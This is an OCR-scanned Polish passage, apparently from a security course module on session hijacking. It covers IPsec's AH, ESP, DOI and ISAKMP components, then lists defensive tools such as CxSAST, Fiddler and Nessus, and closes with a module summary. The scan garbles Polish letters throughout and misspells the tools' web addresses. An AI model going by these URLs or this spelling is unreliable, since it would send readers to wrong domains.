IPsec oferuje ustugi bezpieczernstwa w warstwie sieciowej. Daje to swobode wyboru wymaganych
protokotéw bezpieczerstwa, jak réwniez algorytmoéw wykorzystywanych do ustug. Aby swiadczy¢
zadane ustugi, w razie potrzeby mozna zastosowa¢ odpowiednie klucze kryptograficzne. Ustugi
bezpieczenstwa oferowane przez IPsec obejmujg kontrole dostepu, uwierzytelnianie pochodzenia
danych, integralnos$¢ bezpotaczeniowg, zapobieganie odtwarzaniu i poufnos¢. Aby osiggnac te cele,
IPsec wykorzystuje dwa protokoty bezpieczeristwa ruchu, AH i ESP, a takze protokoty i procedury
zarzadzania kluczami kryptograficznymi. Struktura protokotu architektury IPsec jest nastepujaca.

Nagtéowek uwierzytelniania (AH): Oferuje uwierzytelnianie integralnosci i pochodzenia danych, z
opcjonalnymi funkcjami zapobiegajgcymi odtwarzaniu.



Encapsulating Security Payload (ESP): Oferuje wszystkie ustugi oferowane przez AH oraz poufnosé.

IPsec Domain of Interpretation (DOI): definiuje formaty tadunku, typy wymiany i konwencje
nazewnictwa informacji bezpieczenstwa, takich jak algorytmy kryptograficzne Ilub zasady
bezpieczenstwa. IPsec DOI tworzy instancje ISAKMP do uzycia z IP, gdy IP uzywa ISAKMP do
negocjowania powigzan zabezpieczen.

Internet Security Association and Key Management Protocol (ISAKMP): Jest to kluczowy protokét w
architekturze IPsec, ktéry ustanawia wymagane zabezpieczenia dla réznych rodzajéw komunikacji w
Internecie, takich jak komunikacja rzadowa, prywatna i komercyjna, poprzez potaczenie koncepcji
bezpieczenstwa uwierzytelniania, zarzadzanie kluczami i powigzania zabezpieczen.

Zasady: zasady IPsec sg przydatne w zapewnianiu bezpieczeAstwa sieci. Okreslajg kiedy i jak
zabezpiecza¢ dane, a takze metody zabezpieczen do wykorzystania na réznych poziomach w sieci.
Mozna skonfigurowac zasady IPsec, aby spetni¢ wymagania bezpieczenstwa systemu, domeny,
witryny, jednostki organizacyjnej i tak dalej.

Uwierzytelnianie i poufno$¢ IPsec
IPsec uzywa dwdch réznych ustug bezpieczenstwa do uwierzytelniania i poufnosci.

Nagtéwek uwierzytelniania (AH): Przydatny w zapewnianiu bezpotgczeniowej integralnosci i
uwierzytelniania pochodzenia danych dla datagraméw IP oraz ochrony przed odtwarzaniem tadunku
danych i niektdrych czesci nagtdwka IP kazdego pakietu. Nie obstuguje jednak poufnosci danych (brak
szyfrowania). Odbiorca moze wybraé ustuge ochrony przed powtdérkami, ktora jest ustugg opcjonalng
przy ustanawianiu powigzania bezpieczenstwa (SA).

Encapsulation Security Payload (ESP): Oprécz ustug (uwierzytelnianie pochodzenia danych,
integralnos¢ bezpotgczeniowa i ustuga zapobiegajgca odtwarzaniu) zapewnianych przez AH, protokét
ESP zapewnia poufnos¢. W przeciwienstwie do AH, ESP nie zapewnia integralnosci i uwierzytelnienia
catego pakietu IP w trybie transportowym. ESP mozna zastosowa¢ samodzielnie, w potgczeniu z AH lub
w sposdb zagniezdzony. W ustawieniach domysinych chroni tylko tadunek danych IP. W trybie
tunelowym chroni zaréwno tadunek, jak i nagtéwek IP.

Narzedzia zapobiegania przejmowaniu sesji

Aby zapobiec przejmowaniu sesji, wymagane sg testy bezpieczeristwa aplikacji internetowych oraz
analiza statycznego kodu w celu identyfikacji luk w aplikacjach internetowych. Identyfikacja podatnosci
na wczesnym etapie pomaga we wdrazaniu srodkéw bezpieczenstwa w celu ochrony przed atakami
polegajacymi na przejeciu sesji.

CxSAST

Checkmarx CxSAST to unikalne rozwigzanie do analizy kodu zrédtowego, ktdre zapewnia narzedzia do
identyfikowania, sledzenia i naprawy technicznych i logicznych btedéw w kodzie Zzrédtowym, takich jak
luki w zabezpieczeniach, problemy ze zgodnoscia i problemy z logikg biznesowg. CxSAST obstuguje
analize typu open source (CxOSA), umozliwiajgc zarzadzanie licencjami i zgodnoscig, alerty o lukach w
zabezpieczeniach, egzekwowanie zasad i raportowanie. To narzedzie obstuguje szerokg game platform
systemow operacyjnych, jezykéw programowania i struktur. Specjalisci ds. bezpieczeristwa mogg
uzywac tego narzedzia, aby zapobiegaé réznym atakom polegajgcym na przejmowaniu sesji, takim jak
ataki MITM, ataki polegajgce na utrwalaniu sesji i ataki XSS.

Fiddler



Fiddler stuzy do przeprowadzania testéw bezpieczenstwa aplikacji internetowych, takich jak
odszyfrowywanie ruchu HTTPS i manipulowanie zgdaniami przy uzyciu techniki deszyfrowania MITM.
Fiddler to serwer proxy do debugowania sieci, ktory rejestruje caty ruch HTTP(S) miedzy komputerem
a Internetem. SpecjaliSci ds. bezpieczenstwa mogg uzywaé Fiddlera do testowania aplikacji
internetowych poprzez debugowanie ruchu z systemdéw, a takze manipulowanie i edytowanie sesji
internetowych.

Oto kilka dodatkowych narzedzi zapobiegajgcych przejmowaniu sesji:
Nessus (https://www.tenoble.com)

Invicti (https://www.invicti.com)

Wapiti (https://wopiti-sconner.github.io)

WebWatchBot (https://www.exclomotionsoft.com)

Podsumowanie modutu

W tym module oméwilismy koncepcje zwigzane z przejmowaniem sesji oraz rdézne rodzaje
przejmowania sesji. OmoéwiliSmy réowniez szczegdétowo ataki polegajgce na przejmowaniu sesji na
poziomie aplikacji i sieci. Ponadto zaprezentowano rdzine narzedzia do przejmowania ses;ji.
Omowilismy réwniez, jak wykrywac, chronic i bronic sie przed atakami polegajgcymi na przejmowaniu
sesji, a takie o roéinych narzedziach do wykrywania przejmowania sesji i zapobiegania im.
ZakonczyliSmy szczegdtowq dyskusjg na temat réznych srodkéw zaradczych, ktére nalezy zastosowad,
aby zapobiec prébom przejecia sesji przez cyberprzestepcéw. W nastepnym module szczegétowo
oméwimy, w jaki sposdb osoby atakujace, a takze etyczni hakerzy i testerzy piér omijajg komponenty
bezpieczenstwa sieci, takie jak IDS i zapory ogniowe, aby naruszy¢ infrastrukture sieciows.



